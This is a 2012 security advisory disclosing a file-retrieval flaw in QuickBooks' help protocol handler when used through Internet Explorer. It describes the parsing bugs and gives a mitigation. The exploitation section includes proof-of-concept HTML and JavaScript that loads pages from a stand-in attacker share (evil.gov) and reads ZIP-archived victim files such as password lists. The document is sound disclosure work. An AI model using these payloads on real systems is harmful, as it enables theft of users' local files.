Intuit Help System Protocol File Retrieval

`Intuit Help System Protocol File Retrieval  
  
Derek Soeder  
[email protected]  
  
Reported to [email protected] on March 15, 2012; vendor did not respond.  
Reported to CERT on March 22, 2012; vendor did not respond.  
Responsible disclosure failed with error code 10060.  
  
Published: March 30, 2012  
  
  
AFFECTED VENDOR  
---------------  
Intuit, Inc.  
  
  
AFFECTED ENVIRONMENTS  
---------------------  
QuickBooks 2009 through QuickBooks 2012, in conjunction with Microsoft  
Internet Explorer  
  
  
UNAFFECTED ENVIRONMENTS  
-----------------------  
Unknown: other products, versions, and Web browsers have not been tested  
  
  
IMPACT  
------  
The vulnerability described in this document can be exploited by  
malicious HTML and Javascript to retrieve a file from a ZIP archive to  
which the user viewing the HTML has local or network file system  
access. The attacker must know or guess the path and file name of the  
target ZIP archive and the target file it contains. A further  
significant limitation is that files in subdirectories inside of ZIP  
archives have proven inaccessible, based on a sampling of Windows  
ZIPs, Microsoft Office 2007 documents, JARs, and APKs.  
  
  
VULNERABILITY DETAILS  
---------------------  
The Intuit Help System Async Pluggable Protocol ("intu-help-qb5:" in  
QuickBooks 2012), implemented in HelpAsyncPluggableProtocol.dll, is  
intended to provide access to ZIP-archived content stored on the local  
file system for use in displaying QuickBooks' help pages. A URL takes  
the following form:  
  
intu-help-qb#:path/archive.zip::file.ext?...  
  
Here, '#' is a digit specific to the installed version of QuickBooks,  
currently from 1 to 5; "path/archive.zip" is the file system path and  
file name of a ZIP archive (not necessarily with a ".zip" extension);  
"file.ext" is the file in the archive (and optionally its path) to  
retrieve; and the ellipsis represents any number of optional  
name-value pairs which may follow the question mark. Note that if the  
"::" or "?" delimiter is missing, the process in which  
HelpAsyncPluggableProtocol.dll is parsing the URL will crash on a null  
pointer read. Due to a number of unchecked wcscpy_s and wcscat_s  
calls targeting fixed-size buffers, most paths exceeding 260  
characters--whether supplied explicitly or constructed  
internally--will also cause the process to terminate.  
  
Upon receiving a URL, HelpAsyncPluggableProtocol.dll first URL-decodes  
it ("%u" encoding is not supported), then converts all forward slashes  
to backslashes, and then cracks the URL into its constituent  
components. The archive path and file name are eventually converted  
to a multibyte string (using wcstombs_s) and then passed to fopen so  
that the archive may be read and the specified content retrieved.  
  
Although the protocol is intended to allow access to help files such  
as those stored in ZIPs under "%ProgramFiles%\Intuit\QuickBooks  
2012\Components\Help\content", it can in fact be used to read any  
ZIP-archived file from the local file system or a network share  
available to the user accessing the URL. The Exploitation section  
below presents two methods by which a remote Web page might abuse this  
functionality in order to retrieve arbitrary ZIP-archived content.  
  
However, there are two significant limitations which must be  
mentioned. For one, successful exploitation involves supplying  
correct paths and file names, whether from independent knowledge or by  
guessing; the protocol does not provide directory listings or access  
to non-ZIP-format files which might otherwise reveal target paths and  
file names of interest. (Be aware, however, that separate  
functionality such as "qbwc://docontrol/GetCompanyFile" could provide  
useful path information to an attacker.) Second, due to the slash  
conversion step mentioned earlier, HelpAsyncPluggableProtocol.dll will  
only retrieve files in subfolders of an archive that delimits the  
enclosed files' paths with backslashes rather than forward slashes, or  
files in the root of the archive. A cursory examination of Windows  
compressed folders, Microsoft Office 2007 documents (e.g., .docx,  
.pptx, and .xlsx), Java archives (.jar), and Android apps (.apk)  
indicates that paths in ZIP archives are basically always delimited  
using forward slashes. The only ZIPs so far encountered that use  
backslashes are those containing the QuickBooks help files. In short,  
it is not expected that much interesting information can often be  
obtained through exploitation of this vulnerability.  
  
  
EXPLOITATION  
------------  
Two approaches to exploiting this vulnerability, both requiring  
Javascript, are presented here. The first approach employs an IFRAME  
tag to host the target content and Javascript to then retrieve and  
exfiltrate the content. The IFRAME's "src" attribute is an  
"intu-help-qb#" URL that targets the ZIP archive and inner file of  
interest; assuming the archive and file exist and can be accessed, the  
IFRAME will be populated with the decompressed file data. (If the  
target ZIP archive or file does not exist or cannot be accessed, the  
outermost browser window will display an error, which effectively ends  
the attack and thereby prevents repeated file name guessing.)  
  
Assuming the IFRAME loaded successfully, malicious Javascript can then  
access its contents via the "window.document.body.innerHTML" property,  
although attempting to read this property from a non-"intu-help-qb#"  
origin results in a "Permission denied" exception. To work around  
this restriction, the page containing the IFRAME can be stored inside  
a ZIP archive in an attacker-controlled network share and itself  
loaded in an IFRAME. The following proof of concept illustrates:  
  
[first.htm]  
<iframe src="intu-help-qb5://evil.gov/share/second.zip::second.htm?">  
</iframe>  
  
[\\evil.gov\share\second.zip::second.htm]  
<iframe id="MyFrame"  
src="intu-help-qb5:C:/Users/Victim/Documents/target.zip::target.doc?"  
onload="window.alert(MyFrame.window.document.body.innerHTML)">  
</iframe>  
  
In this example, when the victim browses to "first.htm" (wherever it  
may reside), an IFRAME uses the "intu-help-qb5" protocol to load  
"second.htm" from a ZIP archive in a network share under the  
attacker's control. (The attacker's server must be configured to  
accept all authentication attempts, and it may need to support WebDAV  
if the victim is prevented from making outgoing SMB connections.)  
"second.htm" also contains an IFRAME that specifies an "intu-help-qb5"  
protocol source; this time, the frame accesses a file from a  
particular ZIP archive known to exist on the victim's system. Because  
both "second.htm" and the IFRAME it contains have an "intu-help-qb5"  
protocol origin, Javascript included in "second.htm" is able to  
extract the contents of the IFRAME to serve the attacker's purposes.  
  
The second exploitation approach shares the origin restriction evaded  
above through the use of the first IFRAME, but it replaces the second  
IFRAME with the use of an XMLHTTP object. The following replacement  
"second.htm" page illustrates:  
  
[\\evil.gov\share\second.zip::second.htm]  
<script>  
function intrude(zip, file)  
{  
try  
{  
var o = new ActiveXObject("Msxml2.XMLHTTP");  
o.open("GET", "intu-help-qb5:" + zip + "::" + file + "?", false);  
o.send("");  
window.alert(o.responseText);  
}  
catch(e) { }  
}  
  
intrude("C:/Users/Victim/Documents/target.zip", "target.doc");  
intrude("C:/Users/Victim/Documents/target.zip", "target.rtf");  
intrude("C:/Users/Victim/Documents/target.zip", "target.txt");  
intrude("C:/Users/Victim/Documents/secrets.zip", "login.txt");  
intrude("C:/Users/Victim/Documents/secrets.zip", "password.txt");  
intrude("C:/Users/Victim/Documents/secrets.zip", "secrets.txt");  
</script>  
  
As suggested above, this approach facilitates guessing in cases where  
paths and/or file names are not entirely known. Along the same lines,  
it should be possible for an attacker to brute-force the version and  
even the installation path of QuickBooks on the victim's system, by  
guessing the protocol and the path to a known help file.  
  
It is worth noting that any path, absolute or relative, can also be  
used in an "intu-help-qb#" URL; however, at least in Internet Explorer  
9, the current directory does not appear to reference the browser  
cache, meaning a relative path could not be used to access an  
automatically-downloaded ZIP archive (for example, a ZIP referenced as  
an image) as an alternative to specifying a network share. Although  
also not likely to be useful, paths such as "//./pipe/lsass" are  
possible, as are elaborate UNC variants such as  
"//%3F/UNC/evil.gov/share/second.zip" and  
"//./GlobalRoot/Device/LanmanRedirector/;xxx/evil.gov/share/second.zip".  
  
  
MITIGATION  
----------  
  
* Disable the Intuit Help System protocol  
  
Delete, rename, or restrict read access to the  
"HKEY_LOCAL_MACHINE\SOFTWARE\[Wow6432Node\]Classes\PROTOCOLS\Handler\intu-help-qb#"  
registry key (where '#' is a digit from 1 to 5 as of this writing), or  
delete, rename, or restrict execute access to the  
"HelpAsyncPluggableProtocol.dll" file in the QuickBooks installation  
directory, and then restart Internet Explorer and any application that  
uses it as an embedded Web browser. Note that disabling the protocol  
will prevent QuickBooks from displaying help pages.  
  
  
CONCLUSION  
----------  
This document describes a file retrieval vulnerability in Intuit  
QuickBooks, exploitable through Internet Explorer, which according to  
current understanding is reduced in severity by some significant  
limitations. Security best practices suggest that the affected  
protocol should be disabled unless it is sufficiently necessary, so  
understanding the threat and its currently known limitations and  
prerequisites should better enable users and administrators to  
evaluate their degree of exposure and decide what action to take.  
  
  
GREETINGS  
---------  
www.ridgewayis.com  
www.ftmband.com  
`